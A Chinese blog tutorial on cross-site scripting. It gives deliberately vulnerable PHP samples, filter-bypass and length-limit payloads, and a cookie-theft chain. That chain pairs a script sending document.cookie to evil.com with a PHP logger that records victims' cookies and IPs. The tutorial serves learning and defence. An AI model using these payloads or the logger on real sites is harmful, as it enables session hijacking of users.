天天看點

結合代碼對xss基礎的學習

前言:有人曾經說過,XSS之是以那麼流行,就是因為每個網站,包括Google、Microsoft等,都會存在XSS漏洞!之前對XSS這塊“肥肉”隻是了解,沒有系統的學習一下。趁着暑假賦閑,來系統的剖析一下這塊‘肥肉’。

0x01 xss基礎

  • Cross Site Script
  • For web client
  • 來源于js / ActiveX / Flash …

js xss使用場景

  • 直接嵌入html:

    <script>alert(/xss/);</script>

  • 元素标簽事件:

    <body onload=alert(/xss/)>

  • 圖檔标簽:

    <img src="javascript:alert(/xss/);">

  • 其他标簽:

    <iframe>,<div>, and <link>

  • DOM對象,篡改頁面内容

XSS根據效果不同可分為以下幾類:

  1. 反射型XSS
  2. 存儲型XSS
  3. DOM Based XSS 通過修改DOM節點形成的XSS
易用性:2>3>1
1 2 3 4 5 6 7 8 9 10 11

<?php

error_reporting

(0);

$text

=

$_GET

[

'name'

];

?>

<input type=

"text"

id=

"text"

value=

"<?php echo $text ?>"

/>

Payload:?name="><img%20src=1%20onerror=%27alert(1)%27>

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

<?php

error_reporting

(7);

$name

=

$_GET

[

'name'

];

$conn

= mysql_connect(

"127.0.0.1"

,

"root"

,

"5688"

);

mysql_select_db(

"test"

,

$conn

);

mysql_query(

'set names "utf8"'

);

$sql_insert

=

"insert into liuyan(content) values('$name')"

;

$result

= mysql_query(

$sql_insert

,

$conn

);

$sql_select

=

"select * from liuyan"

;

$results

= mysql_fetch_array(mysql_query(

$sql_select

));

echo

$results

[content];

?>

Step 1: ?name=<scRipt>Alert(1)</scrIpt>

Step 2: result

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

<?php

error_reporting

(0);

$name

=

$_GET

[

'name'

];

?>

<input id=

"text"

type=

"text"

value=

"<?php echo $name ?>"

/>

<div id=

"print"

></div>

<script>

var

text = document.getElementById(

'text'

);

var

print

= document.getElementById(

'print'

);

print

.innerHTML = text.value;

</script>

Payload: ?name=<img%20src=1%20onerror=%27alert(1)%27>

0x02 XSS Payload

xss攻擊成功後,攻擊者能夠對使用者目前浏覽器的頁面植入惡意腳本,進而控制使用者浏覽器。這些惡意腳本,被稱為"XSS Payload"
Cookie劫持
1 2 3 4 5 6 7 8

http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>

evil.js content:

var img = document.createElement("img");

img.src = "http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

PS:log不一定要存在,因為在日志中會記錄下這個過程

上面示範的就是最基本的xss 劫持Cookie的過程, 當你拿到使用者cookie後,怎麼用它登入伺服器呢?在這個過程,方法很多,這裡有兩種方法:

  • Burpsuit proxy 修改cookie
  • Firefox 插件 Data Tamper 截斷請求修改cookie

php XSS Cookie require

1 2 3 4 5 6 7 8 9

<?php

$cookie

=

$_GET

[

'c'

];

$ip

=

getenv

(

'REMOTE_ADDR'

);

$time

= data(

"j F, Y, g:i a"

);

$referer

=

getenv

(

'HTTP_REFERER'

);

$fp

=

fopen

(

'cookie.txt'

,

'a'

);

fwrite(

$fp

.

'Cookie: '

.

$cookie

.

'<br/> IP: '

.

$ip

.

'<br> Data and Time: '

.

$time

.

'<br>Referer: '

.

$referer

.

'<br><br>'

);

fclose(

$fp

);

?>

将上述儲存到自己伺服器上,1.php

然後在XSS處寫入:

1

<

script

>document.location="http://your server/1.php?c="+document.cookie;</

script

>

構造GET與POST請求
XSS釣魚
識别使用者浏覽器
識别使用者安裝軟體
CSS History Hack
擷取使用者真實IP

0x03 XSS 攻擊平台

  • Attack API
  • BeEF
  • XSS-Proxy

0x04 XSS Worm

0x05 XSS構造技巧

最最基本的構造技巧是“閉合标簽”,
利用字元編碼

這裡首先看下道哥在《白帽子講web安全》一書中講到的一種情況,就是當web頁面編碼方式為gbk/gb2312時,針對“%c1\”繞過系統轉義“的情況……

其次就是各種加密了

URL編碼 unicode編碼 HTML編碼

HTML編碼的存在就是讓他在代碼中和顯示中分開, 避免錯誤。他的命名實體:構造是&加上希臘字母,字元編碼:構造是&#加十進制、十六進制ASCII碼或unicode字元編碼,而且浏覽器解析的時候會先把html編碼解析再進行渲染。但是有個前提就是必須要在“值”裡,比如屬性src裡,但卻不能對src進行html編碼。不然浏覽器無法正常的渲染。

1

<

img

src=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

CSS編碼

斜杠/加上1-6位16進制數

常見繞過方式

1 2 3 4

<

sCript

>alert(1)</

scRipt

>

<

script

%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

<

scr

<script>rip>alalertert</

scr

</script>rip> (需要利用waf的不完整性)

<

script

>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</

script

>

繞過長度限制
1 2

<

input

type

=

"text"

value

=

"$var"

/>

length($var)<=20

方法一:通過事件縮短payload

1

"onclick=alert(1)//

方法二:使用location.hash 加載xss payload

1 2 3 4 5 6 7 8 9

Payload:   " onclick="eval(location.hash.substr(1))

<

input

type

=

"text"

value

=

""

onclick

=

"eval(location.hash.substr(1))"

/>

location.hash的第一個字元為#

則 http://www.a.com/test.html#alert(1) 産生效果

location.hash本身沒有長度限制,而浏覽器URL有,在這個範圍内都是可以的。

方法三:利用注釋符繞過長度限制

1 2 3

有兩個輸入框,第一個有限制,第二個沒有長度限制,則可以通過注釋符打通兩個注釋框之間的部分:

input1#value: "><!--

input2#value: --><script>alert(/xss/);<script/>

使用标簽

标簽在html中的作用是為所有使用相對路徑的連結提供其實位址。

這個過程是可以被利用的,假設可以在頁面某處插入base标簽,并在自己伺服器上僞造payload相應的圖檔等連結,則可以達到攻擊效果

1

<

base

herf

=

"http://www.evil.com/"

/>

window.name妙用

可以利用此實作跨域效果

1 2 3 4 5 6 7

a.com中,

window.name=test

location.href="http://www.b.com/xss.php"

b.com中,加入

document.domain + window.name

即可輕松實作從a->b的跨越

0x06 一些奇葩的攻擊手法

第三方劫持(外調J/C)
簡單的講就是去看你的目标站點引用了哪些外部站點js/css/swf/等,然後再入侵相應的外站,進而修改js/css/swf 達到xss的實作效果,采用“迂回式”的滲透方式

這裡引用“長短短”寫的一個擷取非本站的J/C代碼:

1 2 3 4 5 6 7

for

(

var

i=0,tags=document.querySelectorAll(

'iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'

),tag;tag=tags[i];i++){

var

a = document.createElement(

'a'

);

a.href = tag.src||tag.href||tag.data;

if

(a.hostname!=location.hostname){

console.warn(location.hostname+

' 發現第三方資源['

+tag.localName+

']:'

+a.href);

}

}

隻需在浏覽器Console執行這段代碼即可

0x07 JavaScript開發架構XSS

JQuery

JQuery裡面有個html()方法,這個方法如果沒有參數,就會讀取一個DOM節點的innerHTML;如果有參數,則會把參數值寫入該DOM節點的innerHTML中。這個過程可能産生“DOM Based XSS”

1

$(

'div.demo-contaioner'

).html(

"<img src=# onerror=alert(1) />"

);

此外,其他一些例如 Dojo / YUI本身就存在XSS漏洞。

https://www.ohlinge.cn/web/xss.html

轉載于:https://www.cnblogs.com/amliaw4/p/5992165.html